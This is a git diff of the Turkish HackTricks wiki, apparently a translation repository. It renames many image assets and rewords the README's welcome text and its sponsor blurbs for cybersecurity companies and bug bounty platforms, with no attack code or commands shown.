diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..e70bceed6 Binary files /dev/null and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index e70bceed6..2173ed0a4 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 2173ed0a4..53e9f7c1f 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 53e9f7c1f..0ea1b8586 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0ea1b8586..b38f1e7c3 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index b38f1e7c3..0e554c193 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0e554c193..a8cfa5b77 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index a8cfa5b77..33c23d55b 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 33c23d55b..bedca8e18 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index bedca8e18..a0a303a29 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index a0a303a29..f9a051e20 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index f9a051e20..0b96b38ef 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0b96b38ef..0ea2dbdc6 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png index 0ea2dbdc6..af973a127 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png index af973a127..4207464e0 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png index 4207464e0..ca4f55331 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png index ca4f55331..1e61555dd 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png index 1e61555dd..6856b34b8 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png index 6856b34b8..cee86ab50 100644 Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png index cee86ab50..1a985c3d4 100644 Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png index 1a985c3d4..13854046c 100644 Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..eaa792ed6 Binary files /dev/null and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index eaa792ed6..eb7611c98 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index eb7611c98..4ede9266b 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 4ede9266b..d7789e602 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index d7789e602..ca4b6651b 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index ca4b6651b..0330f840b 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0330f840b..8190e06a7 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 8190e06a7..0c49287b0 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png index 0c49287b0..bedca8e18 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png index bedca8e18..611702103 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png index 611702103..f0efd5ebd 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png index f0efd5ebd..68b506e08 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1).png index 68b506e08..94022a58d 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1).png index 94022a58d..7118b03d4 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1).png b/.gitbook/assets/image (2) (1) (1).png index 7118b03d4..ae8c5810e 100644 Binary files a/.gitbook/assets/image (2) (1) (1).png and b/.gitbook/assets/image (2) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1).png b/.gitbook/assets/image (2) (1).png index ae8c5810e..e0b33932e 100644 Binary files a/.gitbook/assets/image (2) (1).png and b/.gitbook/assets/image (2) (1).png differ diff --git a/.gitbook/assets/image (2).png b/.gitbook/assets/image (2).png index e0b33932e..6c2c20ea1 100644 Binary files a/.gitbook/assets/image (2).png and b/.gitbook/assets/image (2).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..455fbb8b7 Binary files /dev/null and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 455fbb8b7..6874f9c86 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 6874f9c86..38b71f3d4 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 38b71f3d4..7dcdeb084 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png index 7dcdeb084..865dc4ae4 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png index 865dc4ae4..0d52048cb 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png index 0d52048cb..b98c9fbbc 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png index b98c9fbbc..78abb7891 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1).png index 78abb7891..cdd56bb93 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1).png index cdd56bb93..f406f4410 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1).png b/.gitbook/assets/image (3) (1) (1).png index f406f4410..61513f7bf 100644 Binary files a/.gitbook/assets/image (3) (1) (1).png and b/.gitbook/assets/image (3) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1).png b/.gitbook/assets/image (3) (1).png index 61513f7bf..e0b33932e 100644 Binary files a/.gitbook/assets/image (3) (1).png and b/.gitbook/assets/image (3) (1).png differ diff --git a/.gitbook/assets/image (3).png b/.gitbook/assets/image (3).png index e0b33932e..2c0467343 100644 Binary files a/.gitbook/assets/image (3).png and b/.gitbook/assets/image (3).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..2fde683ec Binary files /dev/null and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png index 2fde683ec..ea50c990a 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png index ea50c990a..bc4b76df1 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png index bc4b76df1..8cd1f020d 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png index 8cd1f020d..c4dc34691 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1).png index c4dc34691..59ecb25fa 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1).png index 59ecb25fa..0a0d96518 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1).png b/.gitbook/assets/image (4) (1) (1).png index 0a0d96518..8f2e02767 100644 Binary files a/.gitbook/assets/image (4) (1) (1).png and b/.gitbook/assets/image (4) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1).png b/.gitbook/assets/image (4) (1).png index 8f2e02767..354be02ad 100644 Binary files a/.gitbook/assets/image (4) (1).png and b/.gitbook/assets/image (4) (1).png differ diff --git a/.gitbook/assets/image (4).png b/.gitbook/assets/image (4).png index 354be02ad..00fb8b946 100644 Binary files a/.gitbook/assets/image (4).png and b/.gitbook/assets/image (4).png differ diff --git a/.gitbook/assets/image (5) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..b2c2c3d26 Binary files /dev/null and b/.gitbook/assets/image (5) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1) (1).png index b2c2c3d26..77f2a8962 100644 Binary files a/.gitbook/assets/image (5) (1) (1) (1) (1).png and b/.gitbook/assets/image (5) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1).png index 77f2a8962..d74f01753 100644 Binary files a/.gitbook/assets/image (5) (1) (1) (1).png and b/.gitbook/assets/image (5) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1) (1).png b/.gitbook/assets/image (5) (1) (1).png index d74f01753..8f87ed9e5 100644 Binary files a/.gitbook/assets/image (5) (1) (1).png and b/.gitbook/assets/image (5) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1).png b/.gitbook/assets/image (5) (1).png index 8f87ed9e5..4e7cfeff2 100644 Binary files a/.gitbook/assets/image (5) (1).png and b/.gitbook/assets/image (5) (1).png differ diff --git a/.gitbook/assets/image (5).png b/.gitbook/assets/image (5).png index 4e7cfeff2..70fe9294a 100644 Binary files a/.gitbook/assets/image (5).png and b/.gitbook/assets/image (5).png differ diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png index 70fe9294a..3646dc3f3 100644 Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ diff --git a/README.md b/README.md index 51553ba72..8c074b7d1 100644 --- a/README.md +++ b/README.md @@ -5,10 +5,10 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ {% hint style="success" %} -**Wiki'ye hoş geldiniz, burada CTF'lerden, gerçek uygulamalardan, araştırmalardan ve haberlerden öğrendiğim her hackleme hilesini/teknikleri/bilgiyi bulacaksınız.** +**Wiki'ye hoş geldiniz, burada CTF'lerden, gerçek uygulamalardan, araştırmalardan ve haberlerden öğrendiğim her hack tekniğini bulacaksınız.** {% endhint %} -Başlamak için, bir veya daha fazla **makineyi pentest ettiğinizde izlemeniz gereken tipik akışı** bulacağınız bu sayfayı takip edin: +Başlamak için, bir veya daha fazla makineyi pentest ettiğinizde **izlemeniz gereken tipik akışı** bulacağınız bu sayfayı takip edin: {% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %} [pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md) @@ -20,30 +20,31 @@ Başlamak için, bir veya daha fazla **makineyi pentest ettiğinizde izlemeniz g
-[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve kendi hackleme araçlarını geliştirirler ve pentesting, Kırmızı Takımlar ve eğitim gibi çeşitli değerli siber güvenlik hizmetleri sunarlar. +[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve kendi hacking araçlarını geliştirirler ve pentesting, Kırmızı Takımlar ve eğitim gibi birçok değerli siber güvenlik hizmeti sunarlar. Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinden kontrol edebilirsiniz. -**STM Cyber**, HackTricks gibi siber güvenlik açık kaynak projelerini de desteklemektedir :) +**STM Cyber**, HackTricks gibi siber güvenlik açık kaynak projelerini de destekler :) *** ### [RootedCON](https://www.rootedcon.com/) -
+
-[**RootedCON**](https://www.rootedcon.com), **İspanya**'daki en ilgili siber güvenlik etkinliği ve **Avrupa**'daki en önemlilerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, teknoloji ve siber güvenlik profesyonelleri için bir araya gelen bir buluşma noktasıdır. +[**RootedCON**](https://www.rootedcon.com), İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemlilerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, teknoloji ve siber güvenlik profesyonellerinin her disiplinde bir araya geldiği kaynayan bir buluşma noktasıdır. {% embed url="https://www.rootedcon.com/" %} + *** ### [Intigriti](https://www.intigriti.com) -
+
-**Intigriti**, **Avrupa'nın #1** etik hackleme ve **bug bounty platformudur.** +**Intigriti**, Avrupa'nın #1 etik hacking ve **bug bounty platformudur**. -**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **bug bounty platformuna katılın**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinden bize katılın ve **100.000 $'a kadar ödül kazanmaya başlayın**! +**Bug bounty ipucu**: **Intigriti'ye** kaydolun, hackerlar tarafından oluşturulan bir premium **bug bounty platformuna katılın**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinden bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -51,10 +52,10 @@ Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresind ### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) -
+
\ -Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın. +Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın. Bugün Erişim Alın: @@ -64,36 +65,36 @@ Bugün Erişim Alın: ### [HACKENPROOF](https://bit.ly/3xrrDrL) -
+
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın! **Hacking Insights**\ -Hackingin heyecanını ve zorluklarını ele alan içeriklerle etkileşime girin +Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin **Gerçek Zamanlı Hack Haberleri**\ -Hızlı tempolu hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın +Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin **En Son Duyurular**\ -Başlatılan en yeni bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun +Başlatılan en yeni bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi edinin -**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın! +Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın! *** ### [Pentest-Tools.com](https://pentest-tools.com/) - Temel penetrasyon testi araç seti -
+
